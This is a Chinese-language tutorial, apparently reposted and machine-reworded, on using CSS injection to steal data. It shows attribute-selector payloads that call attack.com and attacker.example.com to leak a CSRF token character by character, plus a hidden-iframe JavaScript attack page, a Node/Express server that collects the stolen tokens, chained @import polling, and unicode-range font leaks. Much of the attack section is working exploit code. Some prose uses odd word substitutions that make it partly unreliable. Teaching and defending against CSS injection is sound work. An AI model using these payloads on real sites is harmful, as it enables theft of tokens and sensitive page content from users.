CSS injection 专业知识总结

日期:2020-10-14 类型:科技新闻 

关键词:html网页制作,php网页制作,网页设计稿,网页编辑工具,学生网页设计模板

当代访问器都已不容许在CSS中实行JavaScript了,之前的CSS引入能够运用JavaScript协议书在 url() 、 expression() 中实行Javascript编码从而完成XSS。可是现阶段CSS引入在盗取数据信息层面依然是是非非常有效的,下面各自来剖析1下。

CSS 引入 盗取标识特性数据信息

CSS中可使用特性挑选器,依据不一样的特性挑选标识。例如下面CSS挑选含有a特性且其值为abc的p标识。

<style>p[a="abc"]{ color: red;}</style>
 <p a="abc">hello world</p>

特性挑选器还能够配对值的1些特点,例如以XXX开始、以XXX末尾等。

运用上面的特性大家能够用来盗取网页页面标识特性中的数据信息。例如下面当csrfToken以某个字母开始时,便可以根据 url() 通告进攻者,从而盗取csrfToken的第1位的值。

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

第1位是Z,接着盗取第2位

<style>
input[value^="Z0"] {
    background: url(http://attack.com/0);
}
...
input[value^="ZZ"] {
    background: url(http://attack.com/Z);
}
</style>
<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

处理hidden

自然也有个难题, 当标识 type=hidden 时访问器是不容许大家设定background的,这样就没法开启 url() 恳求服务器。

处理方式之1是运用 ~ CSS的弟兄挑选器,挑选为后续全部弟兄连接点设定background。

input[value^="Z"] ~*{
    background: url(http://attack.com/Z);
}

大批量完成

自然,假如位数较为短且将会性较为少大家能够将其全部都列出来,可是一般都太多了,因此大家必须运用技能大批量获得。

假定总体目标存在css引入的网站为以下, 总体目标是盗取input标识中的csrfToken值。

<!DOCTYPE html>
<html>
<head>
    <title>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo $_GET['css']?></style>
</body>
</html>

有iframe

当存在CSS引入的网站回应头未被 X-Frame-Options 维护时, 大家能够建立1个故意的网页页面,运用js建立iframe包括该系统漏洞网站,运用css引入得到1位csrfToken值后根据 url() 递交给服务器,服务器标示前端开发js再次建立iframe盗取第2位值,再次上面的实际操作,直至所有载入完。自然这规定每次恳求系统漏洞网站內容都不容易变。

这里存在1个难题,服务器怎样标示前端开发js结构css,就像大家上面举得事例盗取到第1位为Z, 那末第2位的payload应当是Z开始的。

下面的payload 来自这里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection⑷e999f63097d

它的思路是前端开发js应用setTimeout定时执行恳求服务器,服务器将css引入获得的token回到。

<html>
    <style>
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        known = "";

        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }

        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                known = this.responseText;
                test_char(known, chars);
            } else {
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        test_char("", chars);
    </script>
</html>

服务器编码是我相互配合它的payload写得。

var express = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

也有 师傅 根据服务器将token写入到cookie中, 定时执行查寻cookie是不是更改来完成的。

还发现有师傅用websocket完成更雅致1些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

无 iframe

https://github.com/dxa4481/cssInjection 这里详细介绍了1种无iframe引入的方式。

基本原理也很简易,既然不可以用iframe引进系统漏洞网页页面,那末大家能够根据 window.open 持续打开1个新的对话框,也便可以进行上述相近的实际效果。自然这类方式得被劫持客户的点一下个人行为,不然访问器会严禁打开新对话框。

并且这篇文章内容还提出了无后台管理服务器的计划方案,运用service workers 阻拦顾客端恳求将获得到的token值另外存在当地localstorage中。

@import

运用 @import 在chrome中的特点,https://medium.com/@d0nut/better-exfiltration-via-html-injection⑶1c72a2dae8b 这篇文章内容提出的这类方式。这类方式有种益处便是 不容易更新网页页面便可以拿到所有token 并且不必须iframe,但弊端便是只能用在chrome中,并且依据它的特点务必在款式标识头顶部有引入才行。

除普遍的 <link> 标识引进外界款式,css还能够根据 @import

@import url(http://style.com/css.css);

可是 @import 务必在款式表头顶部最开始申明,而且分号是务必的。 @import 引进的款式表会立即更换对应的内联款式。

chrome在完成上述实际效果时,在每次 @import 外界款式表 回到后 都再次测算了1遍网页页面的别的的款式表,大家能够运用这个特点嵌套循环 @import 应用1个恳求便获得到全部token

这是他文章内容中的1个图,很形象。

这图假设要盗取的数据信息长度为3,第1次引入的css內容为 @import url(http://attacker.com/staging); ,它回到了

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

这时候网页页面又要获得 @import url(http://attacker.com/polling?len=0); 款式表,而它回到的是盗取token的payload。

当将已盗取数据信息推送到服务器后, @import url(http://attacker.com/polling?len=1); 才会回应。回应的是盗取的第2位数据信息的payload....

并且那篇文章内容还开源系统了1个专用工具运用这个系统漏洞,用起来十分简易。

https://github.com/d0nutptr/sic

盗取标识content数据信息

盗取标识content数据信息相对性来讲就不便许多,上年xctf final就有1道题。

运用 unicode-range 猜想

依据https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html这位师傅的思路,能够根据特定 @font-face 的字体样式叙述unicode-range,当存在某个标识符时就通告服务器。

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

自然这只能了解含有那些标识符,并且当标识符1多就沒有实际意义了。但是这也是个非常好的思路,在一些特殊状况下将会有效。

运用连字(Ligature)

上年xctf师傅们的 题解 用的便是这个方式。

连字简而言之便是几个标识符的合体字,更多自主百度搜索。在这里大家能够自身建立1个字体样式,在其中全部标识符宽度设为0,将 flag 这个连字的宽度设定十分大,此时特定标识content中假如出現了flag标识符串就会由于宽度的缘故出現翻转条,检验出現翻转条时用 url() 恳求服务器。

这样大家便可以持续向后猜想了,详尽的建立字体样式、payload 这里 早已出示了。

总结

到此这篇有关CSS injection 专业知识总结的文章内容就详细介绍到这了,更多有关CSS injection內容请检索脚本制作之家之前的文章内容或再次访问下面的有关文章内容,期待大伙儿之后多多适用脚本制作之家!

上一篇:HTML5拖放作用 返回下一篇:没有了